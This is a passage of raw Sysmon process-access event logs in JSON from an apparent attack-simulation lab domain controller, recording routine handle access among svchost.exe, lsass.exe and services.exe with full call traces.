11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":803,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":804,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1280\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1280","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":806,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1280\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1280","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":807,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":808,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":809,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1200\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 